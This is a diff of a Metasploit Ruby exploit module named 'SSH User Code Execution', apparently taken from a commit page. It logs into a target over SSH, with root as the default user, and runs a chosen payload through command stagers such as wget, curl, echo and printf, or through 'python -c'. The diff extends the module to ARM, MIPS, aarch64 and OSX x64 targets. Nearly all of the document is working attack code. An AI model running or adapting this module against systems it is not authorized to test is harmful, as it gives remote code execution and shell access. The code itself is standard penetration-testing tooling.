@@ -16,11 +16,11 @@ class MetasploitModule < Msf::Exploit::Remote
16
16
def initialize
17
17
super (
18
18
'Name' => 'SSH User Code Execution' ,
19
- 'Description' => %q{
19
+ 'Description' => %q(
20
20
This module connects to the target system and executes the necessary
21
21
commands to run the specified payload via SSH. If a native payload is
22
22
specified, an appropriate stager will be used.
23
- } ,
23
+ ) ,
24
24
'Author' => [ 'Spencer McIntyre' , 'Brandon Knight' ] ,
25
25
'References' =>
26
26
[
@@ -35,39 +35,82 @@ def initialize
35
35
} ,
36
36
'Payload' =>
37
37
{
38
- 'Space' => 4096 ,
38
+ 'Space' => 800000 ,
39
39
'BadChars' => "" ,
40
40
'DisableNops' => true
41
41
} ,
42
- 'Platform' => %w{ linux osx python } ,
42
+ 'Platform' => %w[ linux osx python ] ,
43
+ 'CmdStagerFlavor' => %w[ bourne echo printf wget ] ,
43
44
'Targets' =>
44
45
[
45
- [ 'Linux x86' ,
46
+ [
47
+ 'Linux x86' ,
46
48
{
47
49
'Arch' => ARCH_X86 ,
48
50
'Platform' => 'linux'
49
51
}
50
52
] ,
51
- [ 'Linux x64' ,
53
+ [
54
+ 'Linux x64' ,
52
55
{
53
56
'Arch' => ARCH_X64 ,
54
57
'Platform' => 'linux'
55
58
}
56
59
] ,
57
- [ 'OSX x86' ,
60
+ [
61
+ 'Linux armle' ,
58
62
{
59
- 'Arch' => ARCH_X86 ,
60
- 'Platform' => 'osx'
63
+ 'Arch' => ARCH_ARMLE ,
64
+ 'Platform' => 'linux'
65
+ }
66
+ ] ,
67
+ [
68
+ 'Linux mipsle' ,
69
+ {
70
+ 'Arch' => ARCH_MIPSLE ,
71
+ 'Platform' => 'linux' ,
72
+ 'CmdStagerFlavor' => %w[ curl wget ]
61
73
}
62
74
] ,
63
- [ 'Python' ,
75
+ [
76
+ 'Linux mipsbe' ,
77
+ {
78
+ 'Arch' => ARCH_MIPSBE ,
79
+ 'Platform' => 'linux' ,
80
+ 'CmdStagerFlavor' => %w[ wget ]
81
+ }
82
+ ] ,
83
+ [
84
+ 'Linux aarch64' ,
85
+ {
86
+ 'Arch' => ARCH_AARCH64 ,
87
+ 'Platform' => 'linux'
88
+ }
89
+ ] ,
90
+ [
91
+ 'OSX x86' ,
92
+ {
93
+ 'Arch' => ARCH_X86 ,
94
+ 'Platform' => 'osx' ,
95
+ 'CmdStagerFlavor' => %w[ curl wget ]
96
+ }
97
+ ] ,
98
+ [
99
+ 'OSX x64' ,
100
+ {
101
+ 'Arch' => ARCH_X64 ,
102
+ 'Platform' => 'osx' ,
103
+ 'CmdStagerFlavor' => %w[ curl wget ]
104
+ }
105
+ ] ,
106
+ [
107
+ 'Python' ,
64
108
{
65
109
'Arch' => ARCH_PYTHON ,
66
110
'Platform' => 'python'
67
111
}
68
112
]
69
113
] ,
70
- 'CmdStagerFlavor' => %w{ bourne echo printf } ,
71
114
'DefaultTarget' => 0 ,
72
115
# For the CVE
73
116
'DisclosureDate' => 'Jan 01 1999'
@@ -77,7 +120,7 @@ def initialize
77
120
[
78
121
OptString . new ( 'USERNAME' , [ true , "The user to authenticate as." , 'root' ] ) ,
79
122
OptString . new ( 'PASSWORD' , [ true , "The password to authenticate with." , '' ] ) ,
80
- OptString . new ( ' RHOST' , [ true , "The target address" ] ) ,
123
+ Opt :: RHOST ( ) ,
81
124
Opt ::RPORT ( 22 )
82
125
] , self . class
83
126
)
@@ -92,26 +135,28 @@ def initialize
92
135
def execute_command ( cmd , opts = { } )
93
136
vprint_status ( "Executing #{ cmd } " )
94
137
begin
95
- Timeout . timeout ( 3 ) do
138
+ Timeout . timeout ( 5 ) do
96
139
self . ssh_socket . exec! ( "#{ cmd } \n " )
97
140
end
98
- rescue ::Exception
141
+ rescue Timeout ::Error
142
+ print_error ( "SSH Timeout Exception will say the Exploit Failed; do not believe it." )
143
+ print_good ( "You will likely still get a shell; run sessions -l to be sure." )
99
144
end
100
145
end
101
146
102
147
def do_login ( ip , user , pass , port )
103
148
factory = ssh_socket_factory
104
149
opt_hash = {
105
- : auth_methods => [ 'password' , 'keyboard-interactive' ] ,
106
- : port => port ,
107
- : use_agent => false ,
108
- : config => false ,
109
- : password => pass ,
110
- : proxy => factory ,
111
- : non_interactive => true
150
+ auth_methods : [ 'password' , 'keyboard-interactive' ] ,
151
+ port : port ,
152
+ use_agent : false ,
153
+ config : false ,
154
+ password : pass ,
155
+ proxy : factory ,
156
+ non_interactive : true
112
157
}
113
158
114
- opt_hash . merge! ( :verbose => :debug ) if datastore [ 'SSH_DEBUG' ]
159
+ opt_hash [ :verbose ] = :debug if ( datastore [ 'SSH_DEBUG' ] )
115
160
116
161
begin
117
162
self . ssh_socket = Net ::SSH . start ( ip , user , opt_hash )
@@ -133,12 +178,11 @@ def do_login(ip, user, pass, port)
133
178
134
179
def exploit
135
180
do_login ( datastore [ 'RHOST' ] , datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] , datastore [ 'RPORT' ] )
136
-
137
181
print_status ( "#{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } - Sending stager..." )
138
182
if target [ 'Platform' ] == 'python'
139
183
execute_command ( "python -c \" #{ payload . encoded } \" " )
140
184
else
141
- execute_cmdstager ( { : linemax => 500 } )
185
+ execute_cmdstager ( linemax : 500 )
142
186
end
143
187
144
188
self . ssh_socket . close
0 commit comments